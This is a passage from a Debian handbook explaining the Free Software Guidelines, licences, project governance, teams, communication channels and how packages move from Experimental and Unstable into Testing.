After a first, unfruitful attempt in 2004, the complete removal of the non-free section is unlikely to return to the agenda, especially since it contains many useful documents that were moved simply because they did not meet the new requirements for the main section. This is especially the case for certain software documentation files issued by the GNU project (in particular, Emacs and Make).
The continued existence of the non-free section is a source of occasional friction with the Free Software Foundation, and is the main reason it refuses to officially recommend Debian as an operating system.
This reference document defines which software is “free enough” to be included in Debian. If a program's license is in accordance with these principles, it can be included in the main section; on the contrary, and provided that free distribution is permitted, it may be found in the non-free section. The non-free section is not officially part of Debian; it is an added service provided to users.
More than a selection criteria for Debian, this text has become an authority on the subject of free software, and has served as the basis for the “Open Source Definition”. Historically, it is therefore one of the first formal definitions of the concept of “free software”.
The GNU General Public License, the BSD License, and the Artistic License are examples of traditional free licenses that follow the 9 points mentioned in this text. Below you will find the text as it is published on the Debian website.
Free redistribution. The license of a Debian component may not restrict any party from selling or giving away the software as a component of an aggregate software distribution containing programs from several different sources. The license may not require a royalty or other fee for such sale.
BACK TO BASICS Free licenses
The GNU GPL, the BSD license, and the Artistic License all comply with the Debian Free Software Guidelines, even though they are very different.
The GNU GPL, used and promoted by the FSF (Free Software Foundation), is the most common. Its main feature is that it also applies to any derived work that is redistributed: a program incorporating or using GPL code can only be distributed according to its terms. It prohibits, thus, any reuse in a proprietary application. This poses serious problems for the reuse of GPL code in free software incompatible with this license. As such, it is sometimes impossible to link a program published under another free software license with a library distributed under the GPL. On the other hand, this license is very solid in American law: FSF lawyers have participated in the drafting thereof, and have often forced violators to reach an amicable agreement with the FSF without going to court.
The BSD license is the least restrictive: everything is permitted, including use of modified BSD code in a proprietary application. Microsoft even uses it, basing the TCP/IP layer of Windows NT on that of the BSD kernel.
Finally, the Artistic License reaches a compromise between these two others: integration of code in a proprietary application is permitted, but any modification must be published.
The complete text of these licenses is available in
/usr/share/common-licenses/
on any Debian system.
Source code. The program must include source code, and must allow distribution in source code as well as compiled form.
Derived works. The license must allow modifications and derived works, and must allow them to be distributed under the same terms as the license of the original software.
Integrity of the author's source code. The license may restrict source code from being distributed in modified form only if the license allows the distribution of “patch files” with the source code for the purpose of modifying the program at build time. The license must explicitly permit distribution of software built from modified source code. The license may require derived works to carry a different name or version number from the original software (This is a compromise. The Debian group encourages all authors not to restrict any files, source or binary, from being modified).
No discrimination against persons or groups. The license must not discriminate against any person or group of persons.
No discrimination against fields of endeavor. The license must not restrict anyone from making use of the program in a specific field of endeavor. For example, it may not restrict the program from being used in a business, or from being used for genetic research.
Distribution of license. The rights attached to the program must apply to all to whom the program is redistributed without the need for execution of an additional license by those parties.
License must not be specific to Debian. The rights attached to the program must not depend on the program being part of a Debian system. If the program is extracted from Debian and used or distributed without Debian but otherwise within the terms of the program's license, all parties to whom the program is redistributed should have the same rights as those that are granted in conjunction with the Debian system.
License must not contaminate other software. The license must not place restrictions on other software that is distributed along with the licensed software. For example, the license must not insist that all other programs distributed on the same medium must be free software.
BACK TO BASICS Copyleft
Copyleft is a principle that consists in using copyrights to guarantee the freedom of a work and its derivatives, rather than restrict the rights of uses, as is the case with proprietary software. It is, also, a play of words on the term “copyright”. Richard Stallman discovered the idea when a friend of his, fond of puns, wrote on an envelope addressed to him: “copyleft: all rights reversed”. Copyleft imposes preservation of all initial liberties upon distribution of an original or modified version of a work (usually a program). It is, thus, not possible to distribute a program as proprietary software if it is derived from code from a copyleft released program.
The most well-known family of copyleft licenses is, of course, the GNU GPL and its derivatives, the GNU LGPL or GNU Lesser General Public License, and the GNU FDL or GNU Free Documentation License. Sadly, the copyleft licenses are generally incompatible with each other. Consequently, it is best to use only one of them.
COMMUNITY Bruce Perens, a controversial leader
Bruce Perens was the second leader of the Debian project, just after Ian Murdock. He was very controversial in his dynamic and authoritarian methods. He nevertheless remains an important contributor to Debian, to whom Debian is especially indebted for the editing of the famous “Debian Free Software Guidelines” (DFSG), an original idea of Ean Schuessler. Subsequently, Bruce would derive from it the famous “Open Source Definition”, removing all references to Debian from it.
His departure from the project was quite emotional, but Bruce has remained strongly attached to Debian, since he continues to promote this distribution in political and economic spheres. He still sporadically appears on the e-mail lists to give his advice and present his latest initiatives in favor of Debian.
Last anecdotal point, it was Bruce who was responsible for inspiring the different “codenames” for Debian versions (1.1 — Rex, 1.2 — Buzz, 1.3 — Bo, 2.0 — Hamm, 2.1 — Slink, 2.2 — Potato, 3.0 — Woody, 3.1 — Sarge, 4.0 — Etch, 5.0 — Lenny, 6.0 — Squeeze, 7 — Wheezy, 8 — Jessie, 9 (not released yet) — Stretch, 10 (not released yet) — Buster, Unstable — Sid). They are taken from the names of characters in the Toy Story movie. This animated film entirely composed of computer graphics was produced by Pixar Studios, with whom Bruce was employed at the time that he led the Debian project. The name “Sid” holds particular status, since it will eternally be associated with the Unstable branch. In the film, this character was the neighbor child, who was always breaking toys — so beware of getting too close to Unstable. Otherwise, Sid is also an acronym for “Still In Development”.
The abundant end results produced by the Debian project derive simultaneously from the work on the infrastructure performed by experienced Debian developers, from the individual or collective work of developers on Debian packages, and from user feedback.
Debian developers have various responsibilities, and as official project members, they have great influence on the direction the project takes. A Debian developer is generally responsible for at least one package, but according to their available time and desire, they are free to become involved in numerous teams, acquiring, thus, more responsibilities within the project.
TOOL Developer's database
Debian has a database including all developers registered with the project, and their relevant information (address, telephone, geographical coordinates such as longitude and latitude, etc.). Some of the information (first and last name, country, username within the project, IRC username, GnuPG key, etc.) is public and available on the Web.
The geographical coordinates allow the creation of a map locating all of the developers around the globe. Debian is truly an international project: its developers can be found on all continents, although the majority are in “Western countries”.
Fig. 1.1. World-wide distribution of Debian developers
Package maintenance is a relatively regimented activity, very documented or even regulated. It must, in effect, comply with all the standards established by the Debian Policy. Fortunately, there are many tools that facilitate the maintainer's work. The developer can, thus, focus on the specifics of their package and on more complex tasks, such as squashing bugs.
BACK TO BASICS Package maintenance, the developer's work
Maintaining a package entails, first, “packaging” a program. Specifically, this means to define the means of installation so that, once installed, this program will operate and comply with the rules which the Debian project sets for itself. The result of this operation is saved in a
.deb
file. Effective installation of the program will then require nothing more than extraction of this compressed archive and execution of some pre-installation or post-installation scripts contained therein.After this initial phase, the maintenance cycle truly begins: preparing updates to follow the latest version of the Debian Policy, fixing bugs reported by users, and including new “upstream” versions of the program which naturally continues to develop simultaneously. For instance, at the time of the initial packaging, the program was at version 1.2.3. After some months of development, the original authors release a new stable version, numbered 1.4.0. At this point, the Debian maintainer should update the package, so that users can benefit from its latest stable version.
The Policy, an essential element of the Debian Project, establishes the norms ensuring both the quality of the packages and perfect interoperability of the distribution. Thanks to this Policy, Debian remains consistent despite its gigantic size. This Policy is not fixed in stone, but continuously evolves thanks to proposals formulated on the <debian-policy@lists.debian.org>
mailing list. Amendments that are agreed upon by all interested parties are accepted and applied to the text by a small group of maintainers who have no editorial responsibility (they only include the modifications agreed upon by the Debian developers that are members of the above-mentioned list). You can read current amendment proposals on the bug tracking system:
COMMUNITY Policy editorial process
Anyone can propose an amendment to the Debian Policy just by submitting a bug report with a severity level of “wishlist” against the debian-policy package. The process that then starts is documented in
/usr/share/doc/debian-policy/Process.html
: if it is acknowledged that the problem revealed must be resolved by creating a new rule in the Debian Policy, a discussion begins on the<debian-policy@lists.debian.org>
mailing list until consensus is reached and a proposal issued. Someone then drafts a desired amendment and submits it for approval (in the form of a patch to review). As soon as two other developers approve the fact that the proposed amendment reflects the consensus reached in the previous discussion (they “second” it), the proposal can be included in the official document by one of the debian-policy package maintainers. If the process fails at one of these steps, the maintainers close the bug, classifying the proposal as rejected.
DEBIAN POLICY The documentation
Documentation for each package is stored in
/usr/share/doc/
. This directory often contains apackage
/README.Debian
file describing the Debian specific adjustments made by the package maintainer. It is, thus, wise to read this file prior to any configuration, in order to benefit from their experience. We also find achangelog.Debian.gz
file describing the changes made from one version to the next by the Debian maintainer. This is not to be confused with thechangelog.gz
file (or equivalent), which describes the changes made by the upstream developers. Thecopyright
file includes information about the authors and the license covering the software. Finally, we may also find a file namedNEWS.Debian.gz
, which allows the Debian developer to communicate important information regarding updates; if apt-listchanges is installed, then these messages are automatically displayed. All other files are specific to the software in question. We especially would like to point out theexamples
sub-directory, which frequently contains examples of configuration files.
The Policy provides considerable cover of the technical aspects of packaging. The size of the project also raises organizational problems; these are dealt with by the Debian Constitution, which establishes a structure and means for decision making. In other words, a formal governance system.
This constitution defines a certain number of roles and positions, plus responsibilities and authorities for each. It is particularly worth noting that Debian developers always have ultimate decision making authority by a vote of general resolution, wherein a qualified majority of three quarters (75%) of votes is required for significant alterations to be made (such as those with an impact on the Foundation Documents). However, developers annually elect a “leader” to represent them in meetings, and ensure internal coordination between varying teams. This election is always a period of intense discussions. This leader's role is not formally defined by any document: candidates for this post usually propose their own definition of the position. In practice, the leader's roles include serving as a representative to the media, coordinating between “internal” teams, and providing overall guidance to the project, within which the developers can relate: the views of the DPL are implicitly approved by the majority of project members.
Specifically, the leader has real authority; their vote resolves tie votes; they can make any decision which is not already under the authority of someone else and can delegate part of their responsibilities.
Since its inception, the project has been successively led by Ian Murdock, Bruce Perens, Ian Jackson, Wichert Akkerman, Ben Collins, Bdale Garbee, Martin Michlmayr, Branden Robinson, Anthony Towns, Sam Hocevar, Steve McIntyre, Stefano Zacchiroli and Lucas Nussbaum.
The constitution also defines a “technical committee”. This committee's essential role is to decide on technical matters when the developers involved have not reached an agreement between themselves. Otherwise, this committee plays an advisory role for any developer who fails to make a decision for which they are responsible. It is important to note that they only get involved when invited to do so by one of the parties in question.
Finally, the constitution defines the position of “project secretary”, who is in charge of the organization of votes related to the various elections and general resolutions.
The “general resolution” procedure is fully detailed in the constitution, from the initial discussion period to the final counting of votes. For further details see:
CULTURE Flamewar, the discussion that catches fire
A “flamewar” is an exceedingly impassioned debate, which frequently ends up with people attacking each other once all reasonable argumentation has been exhausted on both sides. Certain themes are more frequently subject to polemics than others (the choice of text editor, “do you prefer vi or emacs?”, is an old favorite). The matters often provoke very rapid e-mail exchanges due to the sheer number of people with an opinion on the matter (everyone) and the very personal nature of such questions.
Nothing particularly useful generally comes from such discussions; the general recommendation is to stay out of such debates, and maybe rapidly skim through their content, since reading them in full would be too time-consuming.
Even if this constitution establishes a semblance of democracy, the daily reality is quite different: Debian naturally follows the free software rules of the do-ocracy: the one who does things gets to decide how to do them. A lot of time can be wasted debating the respective merits of various ways to approach a problem; the chosen solution will be the first one that is both functional and satisfying… which will come out of the time that a competent person did put into it.
This is the only way to earn one's stripes: do something useful and show that one has worked well. Many Debian “administrative” teams operate by co-optation, preferring volunteers who have already effectively contributed and proved their competence. The public nature of the work of those teams makes it possible for new contributors to observe and start helping without any special privilege. This is why Debian is often described as a “meritocracy”.
CULTURE Meritocracy, the reign of knowledge
Meritocracy is a form of government in which authority is exercised by those with the greatest merit. For Debian, merit is a measure of competence, which is, itself, assessed by observation of past actions by one or more others within the project (Stefano Zacchiroli, a former project leader, speaks of “do-ocracy”, meaning “power to those who get things done”). Their simple existence proves a certain level of competence; their achievements generally being free software, with available source code, which can easily be reviewed by peers to assess their quality.
This effective operational method guarantees the quality of contributors in the “key” Debian teams. This method is by no means perfect and occasionally there are those who do not accept this way of operating. The selection of developers accepted in the teams may appear a bit arbitrary, or even unfair. Furthermore, not everybody has the same definition of the service expected from these teams. For some, it is unacceptable to have to wait eight days for inclusion of a new Debian package, while others will wait patiently for three weeks without a problem. As such, there are regular complaints from the disgruntled about the “quality of service” from some teams.
COMMUNITY Integration of new maintainers
The team in charge of admitting new developers is the most regularly criticized. One must acknowledge that, throughout the years, the Debian project has become more and more demanding of the developers that it will accept. Some people may see some injustice in that, but we must confess that what were only little challenges at the beginning have become much greater in a community of over 1,000 people, when it comes to ensuring the quality and integrity of everything that Debian produces for its users.
Furthermore, the acceptance procedure is concluded by review of the candidacy by a small team, the Debian Account Managers. These managers are, thus, particularly exposed to criticism, since they have final say in the inclusion or rejection of a volunteer within the Debian developers community. In practice, sometimes they must delay the acceptance of a person until they have learned more about the operations of the project. One can, of course, contribute to Debian before being accepted as an official developer, by being sponsored by current developers.
One might wonder if it is relevant to mention the users among those who work within the Debian project, but the answer is a definite yes: they play a critical role in the project. Far from being “passive”, some users run development versions of Debian and regularly file bug reports to indicate problems. Others go even further and submit ideas for improvements, by filing a bug report with a severity level of “wishlist”, or even submit corrections to the source code, called “patches” (see sidebar BACK TO BASICS Patch, the way to send a fix).
TOOL Bug tracking system
The Debian Bug Tracking System (Debian BTS) is used by large parts of the project. The public part (the web interface) allows users to view all bugs reported, with the option to display a sorted list of bugs selected according to various criteria, such as: affected package, severity, status, address of the reporter, address of the maintainer in charge of it, tag, etc. It is also possible to browse the complete historical listing of all discussions regarding each of the bugs.
Below the surface, the Debian BTS is e-mail based: all information that it stores comes from messages sent by the various persons involved. Any e-mail sent to
<12345@bugs.debian.org>
will, thus, be assigned to the history for bug number 12345. Authorized persons may “close” a bug by writing a message describing the reasons for the decision to close to<12345-done@bugs.debian.org>
(a bug is closed when the indicated problem is resolved or no longer relevant). A new bug is reported by sending an e-mail to<submit@bugs.debian.org>
according to a specific format which identifies the package in question. The address<control@bugs.debian.org>
allows editing of all the “meta-information” related to a bug.The Debian BTS has other functional features, as well, such as the use of tags for labeling bugs. For more information, see
VOCABULARY Severity of a bug
The severity of a bug formally assigns a degree of gravity to the reported problem. Effectively, not all bugs have the same importance; for instance, a typo in a manual page is not comparable to a security vulnerability in server software.
Debian uses an extended scale to describe the severity of a bug. Each level is defined precisely in order to facilitate the selection thereof.
Additionally, numerous satisfied users of the service offered by Debian like to make a contribution of their own to the project. As not everyone has appropriate levels of expertise in programming, they may choose to assist with the translation and review of documentation. There are language-specific mailing lists to coordinate this work.
BACK TO BASICS What are i18n and l10n?
“i18n” and “l10n” are the abbreviations for the words “internationalization” and “localization”, respectively, preserving the initial and last letter of each word, and the number of letters in the middle.
To “internationalize” a program consists of modifying it so that it can be translated (localized). This involves partially rewriting a program initially written to work in one language in order to be able to open it to all languages.
To “localize” a program consists of translating the original messages (frequently in English) to another language. For this, it must have already been internationalized.
In summary, internationalization prepares the software for translation, which is then executed by localization.
BACK TO BASICS Patch, the way to send a fix
A patch is a file describing changes to be made to one or more reference files. Specifically, it will contain a list of lines to be removed or added to the code, as well as (sometimes) lines taken from the reference text, replacing the modifications in context (they allow identification of the placement of the changes if the line numbers have changed).
The tool used for applying the modifications given in such a file is simply called patch. The tool that creates it is called diff, and is used as follows:
$
diff -u file.old file.new >file.patch
The
file.patch
file contains the instructions for changing the content offile.old
intofile.new
. We can send it to someone, who can then use it to recreatefile.new
from the two others, like this:$
patch -p0 file.old <file.patch
The file,
file.old
, is now identical tofile.new
.
TOOL Report a bug with reportbug
The reportbug tool facilitates sending bug reports on a Debian package. It helps making sure the bug in question hasn't already been filed, thus preventing redundancy in the system. It reminds the user of the definitions of the severity levels, for the report to be as accurate as possible (the developer can always fine-tune these parameters later, if needed). It helps writing a complete bug report without the user needing to know the precise syntax, by writing it and allowing the user to edit it. This report will then be sent via an e-mail server (local, by default, but reportbug can also use a remote server).
This tool first targets the development versions, which is where the bugs will be fixed. Effectively, changes are not welcome in a stable version of Debian, with very few exceptions for security updates or other important updates (if, for example, a package is not working at all). A correction of a minor bug in a Debian package must, thus, wait for the next stable version.
All of these contribution mechanisms are made more efficient by users' behavior. Far from being a collection of isolated persons, users are a true community within which numerous exchanges take place. We especially note the impressive activity on the user discussion mailing list, <debian-user@lists.debian.org>
(Cap. 7, Solving Problems and Finding Relevant Information discusses this in greater detail).
Not only do users help themselves (and others) on technical issues that directly affect them, but they also discuss the best ways to contribute to the Debian project and help it move forward — discussions that frequently result in suggestions for improvements.
Since Debian does not expend funds on any self-promoting marketing campaigns, its users play an essential role in its diffusion, ensuring its fame via word-of-mouth.
This method functions quite well, since Debian fans are found at all levels of the free software community: from install parties (workshops where seasoned users assist newcomers to install the system) organized by local LUGs or “Linux User Groups”, to association booths at large tech conventions dealing with Linux, etc.
Volunteers make posters, brochures, stickers, and other useful promotional materials for the project, which they make available to everyone, and which Debian provides freely on its website:
Debian has been organized, right from the start, around the concept of source packages, each with its maintainer or group of maintainers. Many work teams have emerged over time, ensuring administration of the infrastructure, management of tasks not specific to any package in particular (quality assurance, Debian Policy, installer, etc.), with the latest series of teams growing up around sub-projects.
To each their own Debian! A sub-project is a group of volunteers interested in adapting Debian to specific needs. Beyond the selection of a sub-group of programs intended for a particular domain (education, medicine, multimedia creation, etc.), sub-projects are also involved in improving existing packages, packaging missing software, adapting the installer, creating specific documentation, and more.
VOCABULARY Sub-project and derivative distribution
The development process for a derivative distribution consists in starting with a particular version of Debian and making a number of modifications to it. The infrastructure used for this work is completely external to the Debian project. There isn't necessarily a policy for contributing improvements. This difference explains how a derivative distribution may “diverge” from its origins, and why they have to regularly resynchronize with their source in order to benefit from improvements made upstream.
On the other hand, a sub-project can not diverge, since all the work on it consists of directly improving Debian in order to adapt it to a specific goal.
The most known distribution derived from Debian is, without a doubt, Ubuntu, but there are many. See Anexa A, Derivative Distributions to learn about their particularities and their positioning in relationship to Debian.
Here is a small selection of current sub-projects:
This list will most likely continue to grow with time and improved perception of the advantages of Debian sub-projects. Fully supported by the existing Debian infrastructure, they can, in effect, focus on work with real added value, without worrying about remaining synchronized with Debian, since they are developed within the project.
Most administrative teams are relatively closed and recruit only by cooptation. The best means to become a part of one is to intelligently assist the current members, demonstrating that you have understood their objectives and methods of operation.
The ftpmasters are in charge of the official archive of Debian packages. They maintain the program that receives packages sent by developers and automatically stores them, after some checks, on the reference server (ftp-master.debian.org
).
They must also verify the licenses of all new packages, in order to ensure that Debian may distribute them, prior to including them in the corpus of existing packages. When a developer wishes to remove a package, they address this team through the bug tracking system and the ftp.debian.org “pseudo-package”.
VOCABULARY The pseudo-package, a monitoring tool
The bug tracking system, initially designed to associate bug reports with a Debian package, has proved very practical to manage other matters: lists of problems to be resolved or tasks to manage without any link to a particular Debian package. The “pseudo-packages” allow, thus, certain teams to use the bug tracking system without associating a real package with their team. Everyone can, thus, report issues that needs to be dealt with. For instance, the BTS has a ftp.debian.org entry that is used to report and track problems on the official package archive or simply to request removal of a package. Likewise, the www.debian.org pseudo-package refers to errors on the Debian website, and lists.debian.org gathers all the problems concerning the mailing lists.
TOOL FusionForge, the Swiss Army Knife of collaborative development
FusionForge is a program that enables creation of sites similar to
www.sourceforge.net
,alioth.debian.org
, or evensavannah.gnu.org
. It hosts projects and provides a range of services that facilitate collaborative development. Each project will have a dedicated virtual space there, including a web site, several “ticketing” systems to track — most commonly — bugs and patches, a survey tool, file storage, forums, version control system repositories, mailing lists and various other related services.
alioth.debian.org
is Debian's FusionForge server, administered by Tollef Fog Heen, Stephen Gran, and Roland Mas. Any project involving one or more Debian developers can be hosted there.
Although rather complex internally, due to the broad range of services that it provides, FusionForge is otherwise relatively easy to install, thanks to the exceptional work of Roland Mas and Christian Bayle on the fusionforge Debian package.
The Debian System Administrators (DSA) team (<debian-admin@lists.debian.org>
), as one might expect, is responsible for system administration of the many servers used by the project. They ensure optimal functioning of all base services (DNS, Web, e-mail, shell, etc.), install software requested by Debian developers, and take all precautions in regards to security.
TOOL Debian Package Tracker
This is one of Raphaël's creations. The basic idea is, for a given package, to centralize as much information as possible on a single page. Thus, one can quickly check the status of a program, identify tasks to be completed, and offer one's assistance. This is why this page gathers all bug statistics, available versions in each distribution, progress of a package in the Testing distribution, the status of translations of descriptions and debconf templates, the possible availability of a new upstream version, notices of noncompliance with the latest version of the Debian Policy, information on the maintainer, and any other information that said maintainer wishes to include.
An e-mail subscription service completes this web interface. It automatically sends the following selected information to the list: bugs and related discussions, availability of a new version on the Debian servers, new translations available for proofreading, etc.
Advanced users can, thus, follow all of this information closely and even contribute to the project, once they've got a good enough understanding of how it works.
Another web interface, known as Debian Developer's Packages Overview (DDPO), provides each developer a synopsis of the status of all Debian packages placed under their charge.
These two websites are tools developed and managed by the group responsible for quality assurance within Debian (known as Debian QA).
The listmasters administer the e-mail server that manages the mailing lists. They create new lists, handle bounces (delivery failure notices), and maintain spam filters (unsolicited bulk e-mail).
CULTURE Traffic on the mailing lists: some figures
The mailing lists are, without a doubt, the best testimony to activity on a project, since they keep track of everything that happens. Some statistics (from 2015) regarding our mailing lists speak for themselves: Debian hosts more than 240 lists, totaling 212,000 individual subscriptions. The 27,000 messages sent each month generate 476,000 e-mails daily.
Each specific service has its own administration team, generally composed of volunteers who have installed it (and also frequently programmed the corresponding tools themselves). This is the case of the bug tracking system (BTS), the package tracker, alioth.debian.org
(FusionForge server, see sidebar TOOL FusionForge, the Swiss Army Knife of collaborative development), the services available on qa.debian.org
, lintian.debian.org
, buildd.debian.org
, cdimage.debian.org
, etc.
Unlike administrative teams, the development teams are rather widely open, even to outside contributors. Even if Debian does not have a vocation to create software, the project needs some specific programs to meet its goals. Of course, developed under a free software license, these tools make use of methods proven elsewhere in the free software world.
CULTURE Git
Git is a tool for collaborative work on multiple files, while maintaining a history of modifications. The files in question are generally text files, such as a program's source code. If several people work together on the same file, git can only merge the alterations made if they were made to different portions of the file. Otherwise, these “conflicts” must be resolved by hand.
Git is a distributed system where each user has a repository with the complete history of changes. Central repositories are used to download the project (git clone) and to share the work done with others (git push). The repository can contain multiple versions of the files but only one version can be worked on at a given time: it's called the working copy (it can be changed to point to another version with git checkout). Git can show you the modifications made to the working copy (git diff), can store them in the repository by creating a new entry in the versions history (git commit), can update the working copy to include modifications made in parallel by other users (git pull), and can record a particular configuration in the history in order to be able to easily extract it later on (git tag).
Git makes it easy to handle multiple concurrent versions of a project in development without them interfering with each other. These versions are called branches. This metaphor of a tree is fairly accurate, since a program is initially developed on a common trunk. When a milestone has been reached (such as version 1.0), development continues on two branches: the development branch prepares the next major release, and the maintenance branch manages updates and fixes for version 1.0.
Git is, nowadays, the most popular version control system but it is not the only one. Historically, CVS (Concurrent Versions System) was the first widely used tool but its numerous limitations contributed to the appearance of more modern free alternatives. These include, especially, subversion (svn), git, bazaar (bzr), and mercurial (hg).
Debian has developed little software of its own, but certain programs have assumed a starring role, and their fame has spread beyond the scope of the project. Good examples are dpkg, the Debian package management program (it is, in fact, an abbreviation of Debian PacKaGe, and generally pronounced as “dee-package”), and apt, a tool to automatically install any Debian package, and its dependencies, guaranteeing the consistency of the system after an upgrade (its name is an acronym for Advanced Package Tool). Their teams are, however, much smaller, since a rather high level of programming skill is required to gain an overall understanding of the operations of these types of programs.
The most important team is probably that for the Debian installation program, debian-installer, which has accomplished a work of momentous proportions since its conception in 2001. Numerous contributors were needed, since it is difficult to write a single program able to install Debian on a dozen different architectures. Each one has its own mechanism for booting and its own bootloader. All of this work is coordinated on the <debian-boot@lists.debian.org>
mailing list, under the direction of Cyril Brulebois.
The (very small) debian-cd program team has an even more modest objective. Many “small” contributors are responsible for their architecture, since the main developer can not know all the subtleties, nor the exact way to start the installer from the CD-ROM.
Many teams must collaborate with others in the activity of packaging: <debian-qa@lists.debian.org>
tries, for example, to ensure quality at all levels of the Debian project. The <debian-policy@lists.debian.org>
list develops Debian Policy according to proposals from all over the place. The teams in charge of each architecture (<debian-
) compile all packages, adapting them to their particular architecture, if needed. architecture
@lists.debian.org>
Other teams manage the most important packages in order to ensure maintenance without placing too heavy a load on a single pair of shoulders; this is the case with the C library and <debian-glibc@lists.debian.org>
, the C compiler on the <debian-gcc@lists.debian.org>
list, or Xorg on the <debian-x@lists.debian.org>
(this group is also known as the X Strike Force).
As already mentioned, the Debian project evolves in a very distributed, very organic way. As a consequence, it may be difficult at times to stay in touch with what happens within the project without being overwhelmed with a never-ending flood of notifications.
If you only want the most important news about Debian, you probably should subscribe to the <debian-announce@lists.debian.org>
list. This is a very low-traffic list (around a dozen messages a year), and only gives the most important announcements, such as the availability of a new stable release, the election of a new Project Leader, or the yearly Debian Conference.
More general (and regular) news about Debian are sent to the <debian-news@lists.debian.org>
list. The traffic on this list is quite reasonable too (usually around a handful of messages a month), and it includes the semi-regular “Debian Project News”, which is a compilation of various small bits of information about what happens in the project. Since all Debian developers can contribute these news when they think they have something noteworthy to make public, the DPN gives a valuable insight while staying rather focused on the project as a whole.
COMMUNITY The publicity and press teams
Debian's official communication channels are managed by volunteers of the Debian publicity team and of the press team. Members of the latter are delegates of the Debian Project Leader and handle official press releases. The publicity team is much less formal and welcomes contributions from everybody, be it to write articles for “Debian Project News” or to animate the @debian Identi.ca microblogging account.
For more information about the evolution of Debian and what is happening at some point in time in various teams, there's also the <debian-devel-announce@lists.debian.org>
list. As its name implies, the announcements it carries will probably be more interesting to developers, but it also allows interested parties to keep an eye on what happens in more concrete terms than just when a stable version is released. While <debian-announce@lists.debian.org>
gives news about the user-visible results, <debian-devel-announce@lists.debian.org>
gives news about how these results are produced. As a side note, “d-d-a” (as it is sometimes referred to) is the only list that Debian developers must be subscribed to.
A more informal source of information can also be found on Planet Debian, which aggregates articles posted by Debian contributors on their respective blogs. While the contents do not deal exclusively with Debian development, they provide a view into what is happening in the community and what its members are up to.
The project is also well represented on social networks. While Debian only has an official presence on platforms built with free software (like the Identi.ca microblogging platform, powered by pump.io), there are many Debian contributors who are animating Twitter accounts, Facebook pages, Google+ pages, and more.
A GNU/Linux distribution has two main objectives: install a free operating system on a computer (either with or without an existing system or systems), and provide a range of software covering all of the users' needs.
The debian-installer, designed to be extremely modular in order to be as generic as possible, targets the first objective. It covers a broad range of installation situations and in general, greatly facilitates the creation of a derivative installer corresponding to a particular case.
This modularity, which also makes it very complex, may be daunting for the developers discovering this tool; but whether used in graphical or text mode, the user's experience is still similar. Great efforts have been made to reduce the number of questions asked at installation time, in particular thanks to the inclusion of automatic hardware detection software.
It is interesting to note that distributions derived from Debian differ greatly on this aspect, and provide a more limited installer (often confined to the i386 or amd64 architectures), but more user-friendly for the uninitiated. On the other hand, they usually refrain from straying too far from package contents in order to benefit as much as possible from the vast range of software offered without causing compatibility problems.
Quantitatively, Debian is undeniably the leader in this respect, with over 21,000 source packages. Qualitatively, Debian’s policy and long testing period prior to releasing a new stable version justify its reputation for stability and consistency. As far as availability, everything is available on-line through many mirrors worldwide, with updates pushed out every six hours.
Many retailers sell CD-ROMs on the Internet at a very low price (often at cost), the “images” for which are freely available for download. There is only one drawback: the low frequency of releases of new stable versions (their development sometimes takes more than two years), which delays the inclusion of new software.
Most new free software programs quickly find their way into the development version which allows them to be installed. If this requires too many updates due to their dependencies, the program can also be recompiled for the stable version of Debian (see Cap. 15, Creating a Debian Package for more information on this topic).
The project will simultaneously have three to six different versions of each program, named Experimental, Unstable, Testing, Stable, Oldstable, and even Oldoldstable. Each one corresponds to a different phase in development. For a good understanding, let us take a look at a program's journey, from its initial packaging to inclusion in a stable version of Debian.
VOCABULARY Release
The term “release”, in the Debian project, indicates a particular version of a distribution (e.g., “unstable release” means “the unstable version”). It also indicates the public announcement of the launch of any new version (stable).
First let us take a look at the particular case of the Experimental distribution: this is a group of Debian packages corresponding to the software currently in development, and not necessarily completed, explaining its name. Not everything passes through this step; some developers add packages here in order to get feedback from more experienced (or braver) users.
Otherwise, this distribution frequently houses important modifications to base packages, whose integration into Unstable with serious bugs would have critical repercussions. It is, thus, a completely isolated distribution, its packages never migrate to another version (except by direct, express intervention of the maintainer or the ftpmasters). It is also not self-contained: only a subset of the existing packages are present in Experimental, and it generally does not include the base system. This distribution is therefore mostly useful in combination with another, self-contained, distribution such as Unstable.
Let us turn back to the case of a typical package. The maintainer creates an initial package, which they compile for the Unstable version and place on the ftp-master.debian.org
server. This first event involves inspection and validation from the ftpmasters. The software is then available in the Unstable distribution, which is the “cutting edge” distribution chosen by users who are more concerned with having up to date packages than worried about serious bugs. They discover the program and then test it.
If they encounter bugs, they report them to the package's maintainer. The maintainer then regularly prepares corrected versions, which they upload to the server.
Every newly updated package is updated on all Debian mirrors around the world within six hours. The users then test the corrections and search for other problems resulting from the modifications. Several updates may then occur rapidly. During these times, autobuilder robots come into action. Most frequently, the maintainer has only one traditional PC and has compiled their package on the amd64 (or i386) architecture; the autobuilders take over and automatically compile versions for all the other architectures. Some compilations may fail; the maintainer will then receive a bug report indicating the problem, which is then to be corrected in the next versions. When the bug is discovered by a specialist for the architecture in question, the bug report may come with a patch ready to use.
Fig. 1.2. Compilation of a package by the autobuilders
QUICK LOOK buildd, the Debian package recompiler
buildd is the abbreviation of “build daemon”. This program automatically recompiles new versions of Debian packages on the architectures on which it is hosted (cross-compilation is avoided as much as possible).
Thus, to produce binaries for the
arm64
architecture, the project hasarm64
machines available. The buildd program runs on them continuously and creates binary packages forarm64
from source packages sent by Debian developers.This software is used on all the computers serving as autobuilders for Debian. By extension, the term buildd frequently is used to refer to these machines, which are generally reserved solely for this purpose.
A bit later, the package will have matured; compiled on all the architectures, it will not have undergone recent modifications. It is then a candidate for inclusion in the Testing distribution — a group of Unstable packages chosen according to some quantifiable criteria. Every day a program automatically selects the packages to include in Testing, according to elements guaranteeing a certain level of quality:
This system is clearly not infallible; critical bugs are regularly found in packages included in Testing. Still, it is generally effective, and Testing poses far fewer problems than Unstable, being for many, a good compromise between stability and novelty.
NOTE Limitations of Testing
While very interesting in principle, Testing does have some practical problems: the tangle of cross-dependencies between packages is such that a package can rarely move there completely on its own. With packages all depending upon each other, it is sometimes necessary to migrate a large number of packages simultaneously, which is impossible when some are uploading updates regularly. On the other hand, the script identifying the families of related packages works hard to create them (this would be an NP-complete problem, for which, fortunately, we know some good heuristics). This is why we can manually interact with and guide this script by suggesting groups of packages, or imposing the inclusion of certain packages in a group, even if this temporarily breaks some dependencies. This functionality is accessible to the Release Managers and their assistants.
Recall that an NP-complete problem is of an exponential algorithmic complexity according to the size of the data, here being the length of the code (the number of figures) and the elements involved. The only way to resolve it is frequently to examine all possible configurations, which could require enormous means. A heuristic is an approximate, but satisfying, solution.
COMMUNITY The Release Manager
